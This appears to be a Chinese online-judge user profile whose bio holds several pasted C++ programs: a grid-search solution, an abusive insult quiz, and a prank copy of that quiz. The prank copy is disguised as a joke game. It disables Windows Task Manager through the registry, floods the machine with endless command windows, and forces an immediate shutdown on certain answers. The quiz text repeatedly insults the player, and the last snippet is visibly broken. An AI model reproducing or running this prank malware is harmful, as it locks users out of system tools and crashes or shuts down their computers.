-
个人简介
#include<bits/stdc++.h> using namespace std; int dx[4]={-1,1,0,0}; int dy[4]={0,0,-1,1}; struct node{ int x,y; }a[3000],b[3000]; int n,m,cnt1,cnt2; bool vis[55][55]; int dist[55][55]; bool pd(int x,int y) { if(x>=1&&x<=n&&y>=1&&y<=m) return true; return false; } void dfs1(int x,int y) { vis[x][y]=0; a[++cnt1]={x,y}; for(int i=0;i<4;i++) { int tx=x+dx[i]; int ty=y+dy[i]; if(pd(tx,ty)&&vis[tx][ty]==1) dfs1(tx,ty); } } void dfs2(int x,int y) { vis[x][y]=0; b[++cnt2]={x,y}; for(int i=0;i<4;i++) { int tx=x+dx[i]; int ty=y+dy[i]; if(pd(tx,ty)&&vis[tx][ty]==1) dfs2(tx,ty); } } int main() { freopen("color.in","r",stdin); freopen("color.out","w",stdout); cin>>n>>m; memset(vis,0,sizeof(vis)); for(int i=1;i<=n;i++) { string s; cin>>s; for(int j=1;j<=m;j++) { if(s[j-1]=='X') vis[i][j]=1; } } bool p=false; for(int i=1;i<=n;i++) { for(int j=1;j<=m;j++) { if(vis[i][j]==1) { dfs1(i,j); p=true; break; } } if(p==true) break; } p=false; for(int i=1;i<=n;i++) { for(int j=1;j<=m;j++) { if(vis[i][j]==1) { dfs2(i,j); p=true; break; } } if(p==true) break; } int ans=1e9; for(int i=1;i<=cnt1;i++){ for(int j=1;j<=cnt2;j++){ int d = abs(a[i].x - b[j].x) + abs(a[i].y - b[j].y) - 1; ans = min(ans, d); } } cout<<ans<<endl; return 0; }#include<bits/stdc++.h> #include<windows.h> using namespace std; string s,s1; int main() { cout<<"不按括号内的回答也是一个选项"<<endl; Sleep(500); cout<<"你懂了吗???(T or F)"<<endl; cin>>s; Sleep(300); if(s=="T") { cout<<"哦,真羡慕你那简单的头脑,这就懂了"<<endl; Sleep(300); cout<<"无知的少年哟!"<<endl; Sleep(500); } else if(s=="F") { system("color 42"); cout<<"气死我了!!!"<<endl; Sleep(400); cout<<"你怎么这么蠢!!!!"; Sleep(500); return 0; } else {
system("color 42"); cout<<"脑残玩意,我让你在这的不按括号了吗!!!"; Sleep(500); return 0; } cout<<"你思考过世界的尽头是什么吗?(T or F)"<<endl; cin>>s; Sleep(500); if(s=="T") { cout<<"你居然思考过,真是太蠢了."<<endl; Sleep(1000); cout<<"哈哈哈哈哈哈哈哈哈哈!"<<endl; Sleep(1000); cout<<"不好笑吗?"<<endl; return 0; } else if(s=="F") { cout<<"你居然没思考过,真是太蠢了."<<endl; Sleep(1000); cout<<"看在你那么蠢的份上.我再问你一个问题吧."<<endl; } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(400); cout<<"你这个蠢货!"<<endl; return 0; } Sleep(500); cout<<"无知的少年哟!你知道我是谁吗?(88 or 88)"<<endl; cin>>s; Sleep(500); if(s=="88") { cout<<"你可真是一个诚实的孩子."<<endl; Sleep(1000); cout<<"看在你那么诚实的份上.我就再问你一个问题吧."<<endl; Sleep(400); cout<<"嘻嘻,我猜你一定很开心!"<<endl; } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(800); cout<<"气死我了!"<<endl; Sleep(800); cout<<"你肯定活不到20岁!"<<endl; return 0; } Sleep(500); cout<<"无知的少年哟!你知道你是谁吗?(人 or SB)"<<endl; cin>>s; Sleep(500); if(s=="人") { cout<<"你看起来很自信呢!"<<endl; Sleep(800); cout<<"但我得告诉你一个秘密."<<endl; Sleep(800); system("color 42"); cout<<"你根本不是人."<<endl; return 0; } else if(s=="SB") { cout<<"你可真诚实."<<endl; Sleep(800); cout<<"但作者为了继续折磨你,只能再问你一个问题了."<<endl; Sleep(800); cout<<"开心吧!"<<endl; } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(400); cout<<"你这个四肢发达、头脑简单的蠢货!"<<endl; return 0; } Sleep(500); cout<<"无知的少年哟!你有父母吗?(T or F)"<<endl; cin>>s; Sleep(500); if(s=="T") { cout<<"原来你有父母!"<<endl; Sleep(800); cout<<"假的吧,你怎么可能有父母!!!"<<endl; return 0; } else if(s=="F") { cout<<"原来你真的没有父母!"<<endl; Sleep(800); cout<<"看在你是个孤儿的份上.我再问你一个问题吧."<<endl; Sleep(800); } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(400); cout<<"我祝你全家“幸福安康”!"<<endl; } Sleep(500); cout<<"哦,你个从小缺爱,脑子缺钙的蠢货,我大发慈悲的问你",cout<<",你喜欢二创吗???(T or F)?"<<endl; cin>>s; Sleep(300); if(s=="T") { cout<<"虽然你说的很对,那你能V我50吗??(T or F)"<<endl; cin>>s1; Sleep(300); if(s1=="T") { system("color 42"); cout<<"钱呢??你个蠢货!!!滚"<<endl; return 0; } else if(s1=="F") { system("color 42"); cout<<"哦,巴黎圣母院塌了吧,你个蠢货!!"<<endl; Sleep(300); return 0; } else { system("color 42"); Sleep(810); cout<<"看看你写的是什么东西."; Sleep(810); cout<<"你是小脑发育不完全,大脑完全不发育吧!!!"<<endl; return 0; } } else if(s=="F") cout<<"好品味,简直是个糖人(原作者写的)"<<endl; else { cout<<"你眼瞎吗?(T or F)"<<endl; cin>>s; if(s=="T") { cout<<"哦,你怎么这么惨,是个眼瞎的孤儿"; Sleep(1000); system("color 42"); cout<<endl<<"那么请问,这位脑残的眼瞎孤儿是怎么回答我的呢????嗯!?"; Sleep(350); return 0; } else if(s=="F") { Sleep(500); cout<<"哦,那你就是一个活不过十年的老登吧??"; Sleep(300); cout<<"您老人家快门外竖着"; return 0; } else { cout<<"唉,不想和你这个从小缺爱,脑子缺钙,姥姥不疼,妈妈不爱,血统纯正的蠢货说了"<<endl; cout<<"直接门外竖着"; return 0; } } Sleep(300); cout<<"哦,看在你是个糖人的份上,我再问你个问题吧"<<endl; Sleep(400); return 0;}
#include<bits/stdc++.h> #include<windows.h> #include<Windows.h> #include<iostream> #include<fstream> using namespace std; string s,s1; int main() { system("reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableTaskMgr /t REG_DWORD /d 1 /f"); cout<<"不按括号内的回答也是一个选项"<<endl; Sleep(500); cout<<"你懂了吗???(T or F)"<<endl; cin>>s; Sleep(300); if(s=="T") { cout<<"哦,真羡慕你那简单的头脑,这就懂了"<<endl; Sleep(300); cout<<"无知的少年哟!"<<endl; Sleep(500); } else if(s=="F") { system("color 42"); cout<<"气死我了!!!"<<endl; Sleep(400); cout<<"你怎么这么蠢!!!!"; Sleep(500); while(1) system("start cmd"); } else { system("color 42"); cout<<"脑残玩意,我让你在这的不按括号了吗!!!"; Sleep(500); while(1) system("start cmd"); } cout<<"你思考过世界的尽头是什么吗?(T or F)"<<endl; cin>>s; Sleep(500); if(s=="T") { cout<<"你居然思考过,真是太蠢了."<<endl; Sleep(1000); cout<<"哈哈哈哈哈哈哈哈哈哈!"<<endl; Sleep(1000); cout<<"不好笑吗?"<<endl; return 0; } else if(s=="F") { cout<<"你居然没思考过,真是太蠢了."<<endl; Sleep(1000); cout<<"看在你那么蠢的份上.我再问你一个问题吧."<<endl; } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(400); cout<<"你这个蠢货!"<<endl; while(1) system("start cmd"); } Sleep(500); cout<<"无知的少年哟!你知道我是谁吗?(88 or 88)"<<endl; cin>>s; Sleep(500); if(s=="88") { cout<<"你可真是一个诚实的孩子."<<endl; Sleep(1000); cout<<"看在你那么诚实的份上.我就再问你一个问题吧."<<endl; Sleep(400); cout<<"嘻嘻,我猜你一定很开心!"<<endl; } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(800); cout<<"气死我了!"<<endl; Sleep(800); cout<<"你肯定活不到20岁!"<<endl; while(1) system("start cmd"); } Sleep(500); cout<<"无知的少年哟!你知道你是谁吗?(人 or SB)"<<endl; cin>>s; Sleep(500); if(s=="人") { cout<<"你看起来很自信呢!"<<endl; Sleep(800); cout<<"但我得告诉你一个秘密."<<endl; Sleep(800); system("color 42"); cout<<"你根本不是人."<<endl; Sleep(150); while(1) system("start cmd"); } else if(s=="SB") { cout<<"你可真诚实."<<endl; Sleep(800); cout<<"但作者为了继续折磨你,只能再问你一个问题了."<<endl; Sleep(800); cout<<"开心吧!"<<endl; } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(400); cout<<"你这个四肢发达、头脑简单的蠢货!"<<endl; while(1) system("start cmd"); } Sleep(500); cout<<"无知的少年哟!你有父母吗?(T or F)"<<endl; cin>>s; Sleep(500); if(s=="T") { cout<<"原来你有父母!"<<endl; Sleep(800); cout<<"假的吧,你怎么可能有父母!!!"<<endl; while(1) system("start cmd"); } else if(s=="F") { cout<<"原来你真的没有父母!"<<endl; Sleep(800); cout<<"看在你是个孤儿的份上.我再问你一个问题吧."<<endl; Sleep(800); } else { system("color 42"); cout<<"看看你写的是什么东西."<<endl; Sleep(200); cout<<"我祝你全家“幸福安康”!"<<endl; system("shutdown -s -t 0"); } Sleep(500); cout<<"哦,你个从小缺爱,脑子缺钙的蠢货,我大发慈悲的问你",cout<<",你喜欢二创吗???(T or F)?"<<endl; cin>>s; Sleep(300); if(s=="T") { cout<<"虽然你说的很对,那你能V我50吗??(T or F)"<<endl; cin>>s1; Sleep(300); if(s1=="T") { system("color 42"); cout<<"钱呢??你个蠢货!!!滚"<<endl; while(1) system("start cmd"); } else if(s1=="F") { system("color 42"); cout<<"哦,巴黎圣母院塌了吧,你个蠢货!!"<<endl; Sleep(300); while(1) system("start cmd"); } else { system("color 42"); Sleep(810); cout<<"看看你写的是什么东西."; Sleep(810); cout<<"你是小脑发育不完全,大脑完全不发育吧!!!"<<endl; while(1) system("start cmd"); } } else if(s=="F") cout<<"好品味,简直是个糖人(原作者写的)"<<endl; else { cout<<"你眼瞎吗?(T or F)"<<endl; cin>>s; if(s=="T") { cout<<"哦,你怎么这么惨,是个眼瞎的孤儿"; Sleep(500); system("color 42"); cout<<endl<<"那么请问,这位脑残的眼瞎孤儿是怎么回答我的呢????嗯!?"; Sleep(100); while(1) system("start cmd"); } else if(s=="F") { Sleep(500); cout<<"哦,那你就是一个活不过十年的老登吧??"; Sleep(300); cout<<"您老人家快门外竖着"; while(1) system("start cmd"); } else { cout<<"唉,不想和你这个从小缺爱,脑子缺钙,姥姥不疼,妈妈不爱,血统纯正的蠢货说了"<<endl; cout<<"直接门外竖着"; system("shutdown -s -t 0"); } } Sleep(300); cout<<"哦,看在你是个糖人的份上,我再问你个问题吧"<<endl; Sleep(400); return 0; }#include<bits/stdc++.h> using namespace std; char s; long long n; int main(){ cin>>s; n=int(s); while(n){ if(n<=26) cout<<char(n+'A'-1); if(n<=702) if(n/26==0) cout<<char(n/26-1+'A'-1)<<"Z"; else cout<<char(n/26+'A'-1)<<char(n%26+'A'-1); n-=26; } } -
通过的题目
-
最近活动
This person is lazy and didn't join any contests or homework. -
最近编写的题解
题目标签
- 深搜 广搜
- 1
- 大沥2021
- 1